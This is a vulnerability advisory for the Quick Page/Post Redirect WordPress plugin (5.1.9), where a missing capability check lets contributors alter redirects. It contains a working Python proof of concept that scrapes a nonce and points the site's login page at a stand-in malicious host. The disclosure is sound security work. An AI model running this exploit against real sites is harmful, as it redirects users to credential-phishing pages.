Quick Page/Post Redirect Plugin [Unvalidated Redirects and Forwards]
Quick Page/Post Redirect Plugin suffers from a Unvalidated Redirects and Forwards vulnerability through Privilege Escalation.
NOTE: This vulnerability was disclosed at blog.nintechnet.com while it was in my backlog. They tried to reach the dev with no luck either.
Description
Plugin registers the AJAX action qppr_save_quick_redirect
and although it has security token check, it lucks user capabilities checks. This allows an attacker that has a valid token to update an existing redirect.
To acquire a token the attacker must have a valid account with edit_post
capability (typically at least a contributor), so this narrows down the attack vector to specific user groups. A user with edit_post
capability can access the wp-admin/edit.php
page. In this page plugin inject a JS object which contains the mentioned token and it can be used to perform the attack.
If the attack is successful the attacker can update an existing redirect and specify a new source request and redirect destination.
PoC
#!/usr/bin/env python3
################################################################################
# Quick Page/Post Redirect Plugin - Unvalidated Redirects and Forwards
#
# Author: Pan Vag <[email protected]>
#
# Dependencies: BeautifulSoup (http://www.crummy.com/software/BeautifulSoup/)
################################################################################
import requests
import re
baseUrl = 'http://wp1.dev'
loginUrl = baseUrl + '/wp-login.php'
editUrl = baseUrl + '/wp-admin/edit.php'
adminAjaxUrl = baseUrl + '/wp-admin/admin-ajax.php'
loginPostData = {
'log': 'contributor', # A user with edit_posts capability is required for this to work
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}
s = requests.Session()
r = s.post(loginUrl, loginPostData)
if r.status_code == 200 and r.url != loginUrl:
print('[!] Authentication successful')
else:
print('[-] Authentication failed')
exit(1)
# We look for the nonce in wp-admin/edit.php page
r = s.get(editUrl)
search = re.search('"security":"(\w+)"', r.text)
if not search:
print('[-] Nonce not found')
exit(1)
nonce = search.group(1)
# So we have a valid token and we are ready for the attack
data = {
'security': nonce,
'action': 'qppr_save_quick_redirect',
'row': '0',
'original': '/some-existing-redirect',
'request': '/wp-login.php', # We update the existing redirect and make it work for the login page
'destination': 'http://malicious.com/wp-login.php', # And we redirect it to our malicious site
'newwin': '0',
'nofollow': '0'
}
r = s.post(adminAjaxUrl, data=data)
if r.text == 'saved':
print('[+] Exploitation success')
exit(0)
else:
print('[-] Exploitation failed')
exit(1)
Solution
No fix available
- 20 December 2019
- Pan Vag
- www.anadnet.com
- Quick Page/Post Redirect Plugin
- 5.1.9
- WordPress 5.3.2
- 2019-12-20:
Discovered - 2019-12-20:
Contact attempt using email info at anadnet.com - 2020-02-17:
Plugin removed from wordpress.org - 2020-07-09:
Advisory was published at blog.nintechnet.com